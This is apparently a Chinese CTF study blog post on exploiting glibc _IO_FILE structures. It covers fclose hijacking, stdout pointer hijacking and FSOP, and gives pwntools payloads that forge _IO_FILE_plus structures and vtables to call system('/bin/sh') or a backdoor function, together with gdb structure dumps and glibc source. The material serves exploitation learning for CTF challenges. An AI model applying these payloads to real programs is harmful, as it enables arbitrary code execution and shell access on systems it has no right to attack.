IO_FILE利用的一些总结

2018-09-02 本文已影响252人 zs0zrc

fclose 劫持fp指针,伪造_IO_FILE_plus结构

伪造IO_FILE_plus结构体, 32位和64位不一样，32位的需要伪造vtable,而64位可以不用伪造vtable，因为64位的在绕过几个函数后会获得一次call [rax + 0x10]的机会

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先说32bits的

调用 IO_FINISH(fp)的情况

#注意flags字段，只需要_flags & 0x2000为0就会直接调用 IO_FINSH(fp)，IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)
#其中shell是后门函数
fake_file = "\x00" * 0x48 + p32(buf_add)
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8
fake_file += p32(shell)
#不存在后门函数的情况
fake_file = "\x00" * 4 + ";sh" 
fake_file = fake_file.ljust(0x48,'\x00')+ p32(buf_add)
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(buf_add + 0x98 - 0x8)#fake_vtable_addr = buf_addr + 0x98 - 0x8
fake_file += p32(system)

调用__fclose()函数的情况: flags & 0x2000不为0

#_flags & 0x2000不为0最终会调用fp->vtabl->__fclose(fp)
fake_file = "/bin/sh\x00"
fake_file = fake_file.ljust(0x48,'\x00')
fake_file += p32(fake_lock_addr) # 指向一处值为0的地址
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44
fake_file += p32(system)

64bits的情况：

程序中存在后门函数

fake_file ='\0'*0x10 + p64(get_shell)+'\0'*0x70+ p64(buf_addr)
fake_file = fake_file.ljust(0xd8,'\0')+p64(buf_addr)

程序中不存在后门函数

fake_file = "/bin/sh\x00" + '\x00' * 0x8
fake_file += p64(system) + '\x00' * 0x70
# the system can also be placed in other memory
fake_file += p64(fake_lock_addr)#指向一处值为0的地址
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(buf_addr + 0x10 - 0x88) # fake_vtable_addr

fclose源码学习文章：blog

等过段时间有时间了在去分析下fclose源码

例子： xman 的example1 可以编译成32位和64位来练练手，pwnable.tw的seethefile

劫持 stdout文件流指针

通过任意地址写漏洞，将stdout的指针指向伪造的_IO_FILE_plus结构,其中vtable指向伪造的 vtable函数表

这里拿网鼎杯的那道blind做例子

原本的stdout结构体

gef➤  p  *(struct _IO_FILE_plus *) stdout
$2 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f5b674286e0 <_IO_file_jumps>
}

伪造的IO_FILE_plus结构体中的flags要满足下面的条件

flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
所以flag的值可以为0xfbad8000 或者0xfbad8080

其他的根据原本的结构体伪造就行了

fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
fake_struct += p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff)+ p64(0) 
fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) 
fake_struct += p64(0)+ p64(0x602090 + 0x68*3)
fake_vtable = p64(system_addr)*10 + '\n'

伪造后的结构体:

gef➤  p *(struct _IO_FILE_plus *)0x602090
$1 = {
  file = {
    _flags = 0xfbad8000, 
    _IO_read_ptr = 0x602060 "  `", 
    _IO_read_end = 0x602060 "  `", 
    _IO_read_base = 0x602060 "  `", 
    _IO_write_base = 0x602060 "  `", 
    _IO_write_ptr = 0x602060 "  `", 
    _IO_write_end = 0x602060 "  `", 
    _IO_buf_base = 0x602060 "  `", 
    _IO_buf_end = 0x602061 " `", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x602060, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x602060, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x602060, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x6021c8
}

FSOP

这个技术的核心就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP选择的触发方法是调用_IO_flush_all_lockp，这个函数会刷新_IO_list_all链表中所有项的文件流，相当于对每个FILE调用fflush，也对应着会调用_IO_FILE_plus.vtable中的IO_overflow函数。

libc版本小于2.24

IO_flush_all_lockp函数源码

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查，需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ，选出_IO_FILE作为_IO_OVERFLOW的参数，执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

IO_flush_all_lockp函数触发条件：

当libc执行abort流程时 abort可以通过触发malloc_printerr来触发
当执行exit函数时
当执行流从main函数返回时

FSOP攻击的前提条件：

泄露出libc地址，知道 _IO_lsit_all的地址
任意地址写的能力，修改 _IO_list_all为可控的地址
可以在可控内存中伪造_IO_FILE_plus结构

_IO_list_all 结构：

pwndbg> p *_IO_list_all
$1 = {
  file = {
    _flags = 0xfbad2086, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, #这里是我们需要控制的地方，将伪造的_IO_FILE_plus结构链入 _IO_FILE的链表头部
    _fileno = 0x2, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

伪造的_IO_FILE_plus结构体要绕过的check

1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   
或者是
2.
_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

一般来说都是伪造前者，因为简单点

具体利用可以去看 house of orange这道题

新版本libc下的IO_FILE的利用

通过控制 stdin/stdout文件流内部的_IO_buf_base和 _IO_buf_end来达到任意地址读写的目的

因为进程中包含了系统默认的三个文件流stdin\stdout\stderr，因此这种方式可以不需要进程中存在文件操作，通过scanf\printf一样可以进行利用

_IO_FILE结构

struct _IO_FILE
{
  int _flags;                /*flag标志位，用于一些检查 */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;        /* Current read pointer */
  char *_IO_read_end;        /* End of get area. */
  char *_IO_read_base;        /* Start of putback+get area. */
  char *_IO_write_base;        /* Start of put area. */
  char *_IO_write_ptr;        /* Current put pointer. */
  char *_IO_write_end;        /* End of put area. */
  char *_IO_buf_base;        /* 操作的起始地址. */
  char *_IO_buf_end;        /* 操作的结束地址. */
   /*控制 _IO_buf_base 和 _IO_buf_end就可以实现任意读写*/
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain; /* 用于形成_IO_FILE 链表
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

任意地址读的例子 from Angelboy大佬

image.png

任意地址写的例子 from Angelboy大佬

image.png

IO_FILE利用的一些总结

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